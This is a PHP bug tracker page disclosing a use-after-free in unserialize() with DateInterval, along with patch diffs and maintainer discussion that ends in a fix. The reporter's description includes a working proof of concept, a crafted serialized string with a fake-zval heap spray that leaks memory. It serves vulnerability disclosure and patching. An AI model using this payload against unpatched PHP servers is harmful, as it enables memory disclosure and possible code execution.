php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #69133 Use after free vulnerability in unserialize() with DateInterval
Submitted: 2015-02-27 04:24 UTC Modified: 2015-03-17 23:54 UTC
From: taoguangchen at icloud dot com Assigned: stas (profile)
Status: Closed Package: Date/time related
PHP Version: 5.4.38 OS: *
Private report: No CVE-ID: None
View Add Comment Developer Edit
Anyone can comment on a bug. Have a simpler test case? Does it work for you on a different platform? Let us know!
Just going to say 'Me too!'? Don't clutter the database with that please !
Your email address:
MUST BE VALID
Solve the problem:
30 + 22 = ?
Subscribe to this entry?

 
 [2015-02-27 04:24 UTC] taoguangchen at icloud dot com
Description:
------------
In fact, the bug is similar to bug#68942, and i pointed out the bug at comments(https://bugs.php.net/bug.php?id=68942), but it has not been fixed in lastest PHP updates.

static int php_date_interval_initialize_from_hash(zval **return_value, php_interval_obj **intobj, HashTable *myht TSRMLS_DC)
{
	(*intobj)->diff = timelib_rel_time_ctor();

#define PHP_DATE_INTERVAL_READ_PROPERTY(element, member, itype, def) \
	do { \
		zval **z_arg = NULL; \
		if (zend_hash_find(myht, element, strlen(element) + 1, (void**) &z_arg) == SUCCESS) { \
			convert_to_long(*z_arg); \
			(*intobj)->diff->member = (itype)Z_LVAL_PP(z_arg); \
		} else { \
			(*intobj)->diff->member = (itype)def; \
		} \
	} while (0);

#define PHP_DATE_INTERVAL_READ_PROPERTY_I64(element, member) \
	do { \
		zval **z_arg = NULL; \
		if (zend_hash_find(myht, element, strlen(element) + 1, (void**) &z_arg) == SUCCESS) { \
			convert_to_string(*z_arg); \
			DATE_A64I((*intobj)->diff->member, Z_STRVAL_PP(z_arg)); \
		} else { \
			(*intobj)->diff->member = -1LL; \
		} \
	} while (0);
...
}

The convert_to_long()\convert_to_string() leads to the ZVAL and all its children is freed from memory. However the unserialize() code will still allow to use R: or r: to set references to that already freed memory. There is a use after free vulnerability, and allows to execute arbitrary code.

The following code should leak arbitrary memory:

<?php

$fakezval = pack(
    'IIII',
    0x00100000,
    0x00000400,
    0x00000000,
    0x00000006 
);

$data = unserialize('a:2:{i:0;O:12:"DateInterval":1:{s:1:"y";a:2:{i:0;i:0;i:1;i:1;}}i:1;R:4;}');

for($i = 0; $i < 5; $i++) {
    $v[$i] = $fakezval.$i;
}

var_dump($data);

?>


Patches

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2015-02-27 04:39 UTC] taoguangchen at icloud dot com
The fix (for 5.4/5.5/5.6):

--- a/ext/date/php_date.c
+++ b/ext/date/php_date.c
@@ -3669,8 +3669,7 @@ static int php_date_interval_initialize_from_hash(zval **return_value, php_inter
 #define PHP_DATE_INTERVAL_READ_PROPERTY(element, member, itype, def) \
 	do { \
 		zval **z_arg = NULL; \
-		if (zend_hash_find(myht, element, strlen(element) + 1, (void**) &z_arg) == SUCCESS) { \
-			convert_to_long(*z_arg); \
+		if (zend_hash_find(myht, element, strlen(element) + 1, (void**) &z_arg) == SUCCESS && Z_TYPE_PP(z_arg) == IS_LONG) { \
 			(*intobj)->diff->member = (itype)Z_LVAL_PP(z_arg); \
 		} else { \
 			(*intobj)->diff->member = (itype)def; \
@@ -3680,8 +3679,7 @@ static int php_date_interval_initialize_from_hash(zval **return_value, php_inter
 #define PHP_DATE_INTERVAL_READ_PROPERTY_I64(element, member) \
 	do { \
 		zval **z_arg = NULL; \
-		if (zend_hash_find(myht, element, strlen(element) + 1, (void**) &z_arg) == SUCCESS) { \
-			convert_to_string(*z_arg); \
+		if (zend_hash_find(myht, element, strlen(element) + 1, (void**) &z_arg) == SUCCESS && Z_TYPE_PP(z_arg) == IS_STRING) { \
 			DATE_A64I((*intobj)->diff->member, Z_STRVAL_PP(z_arg)); \
 		} else { \
 			(*intobj)->diff->member = -1LL; \
 [2015-02-27 06:38 UTC] laruence@php.net
this change breaks some test scrips under ext/date, please verify them...
 [2015-02-27 12:53 UTC] taoguangchen at icloud dot com
I update a new patch :)

The fix (for 5.4/5.5/5.6):

--- a/ext/date/php_date.c
+++ b/ext/date/php_date.c
@@ -4182,10 +4182,13 @@ static int php_date_interval_initialize_from_hash(zval **return_value, php_inter
 
 #define PHP_DATE_INTERVAL_READ_PROPERTY(element, member, itype, def) \
 	do { \
-		zval **z_arg = NULL; \
+		zval **z_arg = NULL, tmp; \
 		if (zend_hash_find(myht, element, strlen(element) + 1, (void**) &z_arg) == SUCCESS) { \
-			convert_to_long(*z_arg); \
-			(*intobj)->diff->member = (itype)Z_LVAL_PP(z_arg); \
+			tmp = **z_arg; \
+			zval_copy_ctor(&tmp); \
+			convert_to_long(&tmp); \
+			(*intobj)->diff->member = (itype)Z_LVAL(tmp); \
+			zval_dtor(&tmp); \
 		} else { \
 			(*intobj)->diff->member = (itype)def; \
 		} \
@@ -4193,10 +4196,13 @@ static int php_date_interval_initialize_from_hash(zval **return_value, php_inter
 
 #define PHP_DATE_INTERVAL_READ_PROPERTY_I64(element, member) \
 	do { \
-		zval **z_arg = NULL; \
+		zval **z_arg = NULL, tmp; \
 		if (zend_hash_find(myht, element, strlen(element) + 1, (void**) &z_arg) == SUCCESS) { \
-			convert_to_string(*z_arg); \
-			DATE_A64I((*intobj)->diff->member, Z_STRVAL_PP(z_arg)); \
+			tmp = **z_arg; \
+			zval_copy_ctor(&tmp); \
+			convert_to_string(&tmp); \
+			DATE_A64I((*intobj)->diff->member, Z_STRVAL(tmp)); \
+			zval_dtor(&tmp); \
 		} else { \
 			(*intobj)->diff->member = -1LL; \
 		} \
 [2015-03-02 04:38 UTC] taoguangchen at icloud dot com
there are some similar bugs exists in other methods: SoapClient::__getLastRequest, SoapClient::__getLastResponse, SoapClient::__getLastRequestHeaders, SoapClient::__getLastResponseHeaders and etc.

PHP_METHOD(SoapClient, __getLastRequest)
{
	zval **tmp;
	
	if (zend_parse_parameters_none() == FAILURE) {
		return;
	}

	if (zend_hash_find(Z_OBJPROP_P(this_ptr), "__last_request", sizeof("__last_request"), (void **)&tmp) == SUCCESS) {
		RETURN_STRINGL(Z_STRVAL_PP(tmp), Z_STRLEN_PP(tmp), 1);
	}
	RETURN_NULL();
}
 [2015-03-02 04:42 UTC] taoguangchen at icloud dot com
Sorry , last comment post ​​a wrong bug report.
 [2015-03-02 04:46 UTC] stas@php.net
This all is a consequence of https://bugs.php.net/bug.php?id=68976 probably and just repeats it with different classes that free serialized data in one way or another. I don't think fixing it on the consumer side going to hold - there probably will be more such cases in different places. We need to fix unserialize instead to not break when these variables are freed (provided this is possible of course,
 [2015-03-02 06:03 UTC] stas@php.net
This patch: https://gist.github.com/smalyshev/eea9eafc7c88a4a6d10d should fix that one too, please check.
 [2015-03-17 23:54 UTC] stas@php.net
-Status: Open +Status: Closed -Assigned To: +Assigned To: stas
 [2015-03-17 23:54 UTC] stas@php.net
The fix for this bug has been committed.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.

 For Windows:

http://windows.php.net/snapshots/
 
Thank you for the report, and for helping us make PHP better.

Doesn't reproduce for me in 5.4 anymore.
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Fri Mar 29 09:01:28 2024 UTC